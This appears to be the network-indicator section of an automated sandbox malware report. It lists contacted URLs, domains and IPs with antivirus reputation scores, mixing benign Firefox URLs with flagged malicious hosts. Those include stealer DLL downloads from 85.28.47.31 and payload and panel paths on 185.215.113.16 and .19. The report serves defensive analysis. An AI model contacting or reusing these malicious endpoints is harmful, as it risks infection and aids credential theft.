https://www.olx.pl/	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	0%	URL Reputation	safe
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	0%	URL Reputation	safe
https://webextensions.settings.services.mozilla.com/v1	0%	URL Reputation	safe
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	0%	URL Reputation	safe
https://www.avito.ru/	0%	URL Reputation	safe
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	0%	URL Reputation	safe
https://spocs.getpocket.com	0%	URL Reputation	safe
https://developers.google.com/safe-browsing/v4/advisory	0%	URL Reputation	safe
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	0%	URL Reputation	safe
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	17%	Virustotal		Browse
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	0%	Avira URL Cloud	safe
https://github.com/mozilla-services/screenshots	0%	Avira URL Cloud	safe
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	0%	Virustotal		Browse
http://185.215.113.16/Jo89Ku7d/index.phpncoded	100%	Avira URL Cloud	phishing
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	0%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpOb	100%	Avira URL Cloud	phishing
https://github.com/mozilla-services/screenshots	0%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/freebl3.dllO	100%	Avira URL Cloud	malware
http://185.215.113.19/Vi9leo/index.php	2%	Virustotal		Browse
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	0%	Virustotal		Browse
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/softokn3.dll	100%	Avira URL Cloud	malware
http://185.215.113.16/Jo89Ku7d/index.phpncoded	9%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php/b3	100%	Avira URL Cloud	phishing
http://85.28.47.31/8405906461a5200c/freebl3.dllO	23%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.phpOe	100%	Avira URL Cloud	phishing
https://ok.ru/	0%	Avira URL Cloud	safe
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/softokn3.dll	17%	Virustotal		Browse
http://85.28.47.31/8405906461a5200c/nss3.dll	100%	Avira URL Cloud	malware
http://85.28.47.31/8405906461a5200c/freebl3.dllc	100%	Avira URL Cloud	malware
https://www.youtube.com/accountMOZ_CRASHRE	0%	Avira URL Cloud	safe
https://ok.ru/	0%	Virustotal		Browse
https://poczta.interia.pl/mh/?mailto=%sunavailable:FEATURE_FAILURE_DCOMP_NOT_ANGLEgetOriginAttribute	0%	Avira URL Cloud	safe
https://www.bbc.co.uk/	0%	Avira URL Cloud	safe
http://85.28.47.31/8405906461a5200c/nss3.dll	10%	Virustotal		Browse
http://185.215.113.19/Vi9leo/index.php_b#	100%	Avira URL Cloud	phishing
https://www.youtube.com/accountMOZ_CRASHRE	0%	Virustotal		Browse
https://www.youtube.com/accountC:	0%	Avira URL Cloud	safe
https://www.bbc.co.uk/	0%	Virustotal		Browse
http://85.28.47.31yd	0%	Avira URL Cloud	safe
http://85.28.47.31/;1	100%	Avira URL Cloud	malware
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	0%	Virustotal		Browse
https://www.iqiyi.com/	0%	Avira URL Cloud	safe
http://85.28.47.31/5499d72b3a3e55be.php/1	100%	Avira URL Cloud	malware
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	0%	Virustotal		Browse
https://profiler.firefox.comprofilerRecordingButtonCreated	0%	Avira URL Cloud	safe
http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	100%	Avira URL Cloud	phishing
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	0%	Avira URL Cloud	safe
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	0%	Avira URL Cloud	safe
https://www.zhihu.com/	0%	Avira URL Cloud	safe
https://www.ebay.de/U.	0%	Avira URL Cloud	safe
https://www.youtube.com/accounthttps://www.youtube.com/account	0%	Avira URL Cloud	safe
http://85.28.47.31/=1	100%	Avira URL Cloud	malware
https://mail.yahoo.co.jp/compose/?To=%s	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
youtube-ui.l.google.com	142.250.186.46	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	0%, Virustotal, Browse	unknown
ipv4only.arpa	192.0.0.171	true	false	0%, Virustotal, Browse	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
contile.services.mozilla.com	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	0%, Virustotal, Browse	unknown
spocs.getpocket.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
detectportal.firefox.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
support.mozilla.org	unknown	unknown	true	0%, Virustotal, Browse	unknown
push.services.mozilla.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
shavar.services.mozilla.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php	true	2%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/nss3.dll	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/a=t	axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr	8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 00000018.00000000.2712024873.0000000000E22000.00000080.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000000.2864690490.0000000000E22000.00000080.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001F.00000002.2961348345.000001B110F08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2954167196.000001B1066CB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001F.00000002.2970664695.000001B113680000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001F.00000002.2987356094.000001B1165BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986979517.000001B116405000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2986979517.000001B116409000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001F.00000002.2965917115.000001B111B48000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916983014.000001B112E5F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://profiler.firefox.com/	firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001F.00000003.2916313880.000001B112C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916533692.000001B112E1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2916983014.000001B112E5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2959421322.000001B106A00000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpOb	explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://85.28.47.31/8405906461a5200c/freebl3.dllO	file.exe, 00000000.00000002.2496187977.0000000002757000.00000004.00000020.00020000.00000000.sdmp	false	23%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing	firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.php/b3	explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.19/Vi9leo/index.phpOe	explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ok.ru/	firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2123124087.00000000027DC000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/8405906461a5200c/freebl3.dllc	file.exe, 00000000.00000002.2496187977.00000000027DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.youtube.com/accountMOZ_CRASHRE	firefox.exe, 0000001F.00000003.2909414064.000001B111826000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://poczta.interia.pl/mh/?mailto=%sunavailable:FEATURE_FAILURE_DCOMP_NOT_ANGLEgetOriginAttribute	firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 0000001F.00000002.2978854207.000001B115687000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.php_b#	explorti.exe, 00000013.00000002.3323751000.00000000011C9000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/accountC:	8e8f4571c5.exe, 00000018.00000002.3383993209.0000000006A26000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.2903172052.0000018A47990000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2952630491.000001B104590000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001F.00000002.2987356094.000001B1165BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2514256490.0000000028D61000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31yd	file.exe, 00000000.00000002.2496023494.000000000272E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2514256490.0000000028D61000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001F.00000002.2954167196.000001B10663A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3016689132.000001B11D682000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31/;1	9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.php/1	9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001F.00000002.2972528823.000001B114D7A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://profiler.firefox.comprofilerRecordingButtonCreated	firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpzRm4SJjISZA3JNjZ64n0LR=	axplong.exe, 00000014.00000002.3324088102.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000001F.00000002.3014298183.000001B11C458000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.zhihu.com/	firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	firefox.exe, 0000001F.00000002.2955694353.000001B106703000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	firefox.exe, 0000001F.00000002.2955694353.000001B106703000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ebay.de/U.	firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accounthttps://www.youtube.com/account	firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/=1	9fa327eb6c.exe, 00000019.00000002.2829021597.0000000002741000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001F.00000002.2965917115.000001B111B7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2974564214.000001B114F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2963021945.000001B11157D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2972528823.000001B114DC5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001F.00000002.2955694353.000001B106740000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001F.00000002.2959421322.000001B106A00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001F.00000002.2954167196.000001B106621000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001F.00000002.2965917115.000001B111B27000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.olx.pl/	firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/soka/random.exeb3	file.exe, 00000000.00000002.2496187977.000000000278B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001F.00000002.2977902374.000001B1153F0000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001F.00000003.2938950464.000001B11E09C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2939661646.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2940678415.000001B11E0A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.phposition:	file.exe, 00000000.00000002.2493886983.00000000005AD000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/complete/	firefox.exe, 0000001F.00000002.3016689132.000001B11D61B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001F.00000003.2939661646.000001B11E0F2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/stealc/random.exe-	explorti.exe, 00000013.00000002.3323751000.0000000001172000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/stealc/random.exe/	explorti.exe, 00000013.00000002.3323751000.0000000001172000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.avito.ru/	firefox.exe, 0000001F.00000002.2965917115.000001B111BDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3024126644.00002E551AD00000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.php%	axplong.exe, 00000014.00000002.3324088102.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.31/5499d72b3a3e55be.php3	9fa327eb6c.exe, 00000015.00000002.2718500578.000000000259B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	firefox.exe, 0000001F.00000002.2988472196.000001B1166E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com	firefox.exe, 0000001F.00000002.2954167196.000001B1066CB000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001F.00000002.2967668979.000001B112900000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 0000001F.00000002.2953298471.000001B104803000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	8e8f4571c5.exe, 00000018.00000002.3310958803.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 00000018.00000000.2712024873.0000000000E22000.00000080.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000002.3311034201.0000000000B82000.00000040.00000001.01000000.00000011.sdmp, 8e8f4571c5.exe, 0000001C.00000000.2864690490.0000000000E22000.00000080.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.46	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
85.28.47.31	unknown	Russian Federation	31643	GES-ASRU	true
